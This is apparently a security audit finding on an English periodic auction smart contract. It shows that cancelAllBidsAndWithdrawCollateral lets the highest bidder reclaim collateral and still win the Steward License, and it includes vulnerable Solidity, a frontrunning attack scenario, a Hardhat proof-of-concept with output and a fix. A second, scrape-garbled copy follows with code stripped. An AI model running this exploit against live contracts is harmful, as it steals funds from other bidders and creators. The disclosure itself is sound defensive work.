The highest bidder can cancel all of his bids and claim the Steward License for free
Summary
The vulnerability allows the highest bidder to cancel all their bids, and claim the Steward License without any cost.
Vulnerability Detail
The cancelBid(...) function in EnglishPeriodicAuctionFacet allows bidders who didn't win a round to retrieve their deposited collateral by canceling their bids. However, there's a catch: this feature only works for rounds where the bidder wasn't the highest bidder. It prevents the winning bidder from canceling their bid and withdrawing their collateral. Doing so safeguards against potential disruption in the allocation of funds, ensuring that funds remain available for payments to the previous steward and creator circle when the round is closed.
File: EnglishPeriodicAuctionInternal.sol
function _cancelBid(
uint256 tokenId,
uint256 round,
address bidder
) internal {
EnglishPeriodicAuctionStorage.Layout
storage l = EnglishPeriodicAuctionStorage.layout();
address currentBidder;
if (IStewardLicense(address(this)).exists(tokenId)) {
currentBidder = IStewardLicense(address(this)).ownerOf(tokenId);
} else {
currentBidder = l.initialBidder;
}
require(
@> bidder != l.highestBids[tokenId][round].bidder,
'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'
);
Bid storage bid = l.bids[tokenId][round][bidder];
require(
bid.collateralAmount > 0,
'EnglishPeriodicAuction: No bid to cancel'
);
// Make collateral available to withdraw
l.availableCollateral[bidder] += bid.collateralAmount;
// Reset collateral and bid
bid.collateralAmount = 0;
bid.bidAmount = 0;
}
But the same conditions is not present is EnglishPeriodicAuctionInternal::_cancelAllBids(...) when calling EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(...). That means a bid can be cancelled for the round in which the bidder is the highest bidder.
File: EnglishPeriodicAuctionInternal.sol
function _cancelAllBids(uint256 tokenId, address bidder) internal {
EnglishPeriodicAuctionStorage.Layout
storage l = EnglishPeriodicAuctionStorage.layout();
uint256 currentAuctionRound = l.currentAuctionRound[tokenId];
for (uint256 i = 0; i <= currentAuctionRound; i++) {
Bid storage bid = l.bids[tokenId][i][bidder];
if (bid.collateralAmount > 0) {
// Make collateral available to withdraw
l.availableCollateral[bidder] += bid.collateralAmount;
// Reset collateral and bid
bid.collateralAmount = 0;
bid.bidAmount = 0;
}
}
}
Here's how a bidder can manipulate the auction process:
Bob, the Bidder: Bob participates in the auction by placing bids until he becomes the highest bidder in a round.
Then at the end of the round, he calls EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(...) and cancels all his bids for all rounds including the current round. If the EnglishPeriodicAuctionFacet::closeAuction(...) is made before that, he can just frontrun that transaction.
Because of cancel call, all of his collateral has been added in availableCollateral mapping for him to claim. And the same will be withdrawn at the same time.
Also, auction has ended so no other bidder can bid now. So Bob is still the highest bidder.
Now call to EnglishPeriodicAuctionFacet::closeAuction(...) is made to close the auction for current round. The functions transfers the steward NFT to Bob and transfer the fee Amount to the creator circle. Note that the call to EnglishPeriodicAuctionFacet::closeAuction(...) will be successful only if there are enough funds in the contract. If all of the bidders who placed their bid in the round and has claimed their collateral by cancelling their bids, then the function will cause DoS as their will be not enough amounts to claim. If call is successful, Bob has won the Steward License NFT and he has didn't pay anything for it.
The EnglishPeriodicAuctionFacet::closeAuction(...) function also adds the bid amount in availableCollateral of the old bidder for him to claim later. When he tries to do that if there are enough funds in the contract, he will be able to claim the collateral but other bidders will be in loss. Otherwise the withdraw collateral function will cause DoS.
Impact
The highest bidder can claim the Steward License for free, bypassing the intended auction process.
Code Snippet
PoC
it('Cancel All bid will cancel out the highest bidder', async function () {
// Auction start: Now - 200
// Auction end: Now + 100
const instance = await getInstance({
auctionLengthSeconds: 300,
initialPeriodStartTime: (await time.latest()) - 200,
licensePeriod: 1000,
});
const bidAmount1 = ethers.utils.parseEther('1.1');
const feeAmount1 = await instance.calculateFeeFromBid(bidAmount1);
const collateralAmount1 = feeAmount1.add(bidAmount1);
const bidAmount2 = ethers.utils.parseEther('1.2');
const feeAmount2 = await instance.calculateFeeFromBid(bidAmount2);
const collateralAmount2 = feeAmount2.add(bidAmount2);
// bidder 1 place the bid for 1.1 ether + fee
console.log("\t\t> Bidder1 (%s) bids for: \n\t\t\t> Amount: %s", bidder1.address ,bidAmount1.toString(), "\t\t Collateral Deposited: ", collateralAmount1.toString());
await instance
.connect(bidder1)
.placeBid(0, bidAmount1, { value: collateralAmount1 });
// bidder 2 place the bid for 1.2 ether + fee
console.log("\t\t> Bidder2 (%s) bids for: \n\t\t\t> Amount: %s", bidder2.address, bidAmount2.toString(), "\t\t Collateral Deposited: ", collateralAmount2.toString());
await instance
.connect(bidder2)
.placeBid(0, bidAmount2, { value: collateralAmount2 });
console.log("\t\t> Ether Available in Auction contract after 2 bids: ", (await ethers.provider.getBalance(instance.address)).toString());
// increase the time by 100 seconds so that it can be closed
console.log("\t\t> Moving time to auction end");
await time.increase(100);
// should not be able to bid after the auction is closed
const bidAmount3 = ethers.utils.parseEther('1.3');
const feeAmount3 = await instance.calculateFeeFromBid(bidAmount3);
const collateralAmount3 = feeAmount3.add(bidAmount3);
await expect(instance.connect(bidder1).placeBid(0, bidAmount3, { value: collateralAmount3 })).to.be.reverted
// before closing the auction, bidder 2 who is the highest bidder will cancel all the bids
console.log("\t\t> Bidder2 cancels all the bids");
let balanceBeforeCancel = await ethers.provider.getBalance(bidder2.address);
await instance.connect(bidder2).cancelAllBidsAndWithdrawCollateral(0);
let balanceAfterCancel = await ethers.provider.getBalance(bidder2.address);
console.log("\t\t> Ether Available in Auction contract after bidder2 cancels And withdraws his bid: ", (await ethers.provider.getBalance(instance.address)).toString());
// bidder 2 should get back the collateralAmount2. Amounts will be different becuause bigInt in js doesn't support decimals
expect(collateralAmount2 - balanceAfterCancel.sub(balanceBeforeCancel)).to.be.lessThan(1e17);
// bidder 1 tries to close the auction
console.log("\t\t> Bidder1 closes the auction");
await instance.connect(bidder1).closeAuction(0);
console.log("\t\t> Ether Available in Auction contract after bidder1 closes the auction: ", (await ethers.provider.getBalance(instance.address)).toString());
// initial bidder will not be able to withdraw the collateral since there are less funds than the bid amount
console.log("\t\t> Initial Bidder tries to withdraw the collateral, but will revert because the avaiable balance in auction contract is: %s, \n\t\tbut,\n", (await ethers.provider.getBalance(instance.address)).toString());
await expect(instance.connect(owner).withdrawCollateral()).to.be.reverted;
});
Output:
AAMIR@Victus MINGW64 /d/radicle-audit/pco-art (master)
$ npx hardhat test --grep 'Cancel All bid will cancel out the highest bidder'
EnglishPeriodicAuction
cancelBid
> Bidder1 (0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC) bids for:
> Amount: 1100000000000000000 Collateral Deposited: 1210000000000000000
> Bidder2 (0x90F79bf6EB2c4f870365E785982E1f101E93b906) bids for:
> Amount: 1200000000000000000 Collateral Deposited: 1320000000000000000
> Ether Available in Auction contract after 2 bids: 2530000000000000000
> Moving time to auction end
> Bidder2 cancels all the bids
> Amount to be withdrawn: 1320000000000000000
> Ether Available in Auction contract after bidder2 cancels And withdraws his bid: 1210000000000000000
> Bidder1 closes the auction
> Amount added to available collaterable of Old Bidder: 1200000000000000000
> New owner of steward license: 0x90f79bf6eb2c4f870365e785982e1f101e93b906
> Ether Available in Auction contract after bidder1 closes the auction: 1090000000000000000
> Initial Bidder tries to withdraw the collateral, but will revert because the avaiable balance in auction contract is: 1090000000000000000,
but,
> Amount to be withdrawn: 1200000000000000000
✔ Cancel All bid will cancel out the highest bidder (855ms)
1 passing (2s)
Tool used
Manual Review
Foundry
Recommendation
It is recommended to add the following changes:
function _cancelAllBids(uint256 tokenId, address bidder) internal {
EnglishPeriodicAuctionStorage.Layout
storage l = EnglishPeriodicAuctionStorage.layout();
uint256 currentAuctionRound = l.currentAuctionRound[tokenId];
for (uint256 i = 0; i <= currentAuctionRound; i++) {
Bid storage bid = l.bids[tokenId][i][bidder];
- if (bid.collateralAmount > 0){
+ if (bid.collateralAmount > 0 && bidder != l.highestBids[tokenId][i].bidder) {
// Make collateral available to withdraw
l.availableCollateral[bidder] += bid.collateralAmount;
// Reset collateral and bid
bid.collateralAmount = 0;
bid.bidAmount = 0;
}
}
}
Aamirusmani1552
high
The highest bidder can cancel all of his bids and claim the Steward License for free
Summary
The vulnerability allows the highest bidder to cancel all their bids, and claim the Steward License without any cost.
Vulnerability Detail
The
cancelBid(...)function inEnglishPeriodicAuctionFacetallows bidders who didn't win a round to retrieve their deposited collateral by canceling their bids. However, there's a catch: this feature only works for rounds where the bidder wasn't the highest bidder. It prevents the winning bidder from canceling their bid and withdrawing their collateral. Doing so safeguards against potential disruption in the allocation of funds, ensuring that funds remain available for payments to the previous steward and creator circle when the round is closed.GitHub: [378-411]
But the same conditions is not present is
EnglishPeriodicAuctionInternal::_cancelAllBids(...)when callingEnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(...). That means a bid can be cancelled for the round in which the bidder is the highest bidder.GitHub: [416-434]
Here's how a bidder can manipulate the auction process:
EnglishPeriodicAuctionFacet::cancelAllBidsAndWithdrawCollateral(...)and cancels all his bids for all rounds including the current round. If theEnglishPeriodicAuctionFacet::closeAuction(...)is made before that, he can just frontrun that transaction.availableCollateralmapping for him to claim. And the same will be withdrawn at the same time.EnglishPeriodicAuctionFacet::closeAuction(...)is made to close the auction for current round. The functions transfers the steward NFT to Bob and transfer the fee Amount to the creator circle. Note that the call toEnglishPeriodicAuctionFacet::closeAuction(...)will be successful only if there are enough funds in the contract. If all of the bidders who placed their bid in the round and has claimed their collateral by cancelling their bids, then the function will cause DoS as their will be not enough amounts to claim. If call is successful, Bob has won the Steward License NFT and he has didn't pay anything for it.EnglishPeriodicAuctionFacet::closeAuction(...)function also adds the bid amount inavailableCollateralof the old bidder for him to claim later. When he tries to do that if there are enough funds in the contract, he will be able to claim the collateral but other bidders will be in loss. Otherwise the withdraw collateral function will cause DoS.Impact
The highest bidder can claim the Steward License for free, bypassing the intended auction process.
Code Snippet
PoC
Output:
Tool used
Recommendation
It is recommended to add the following changes:
Duplicate of #14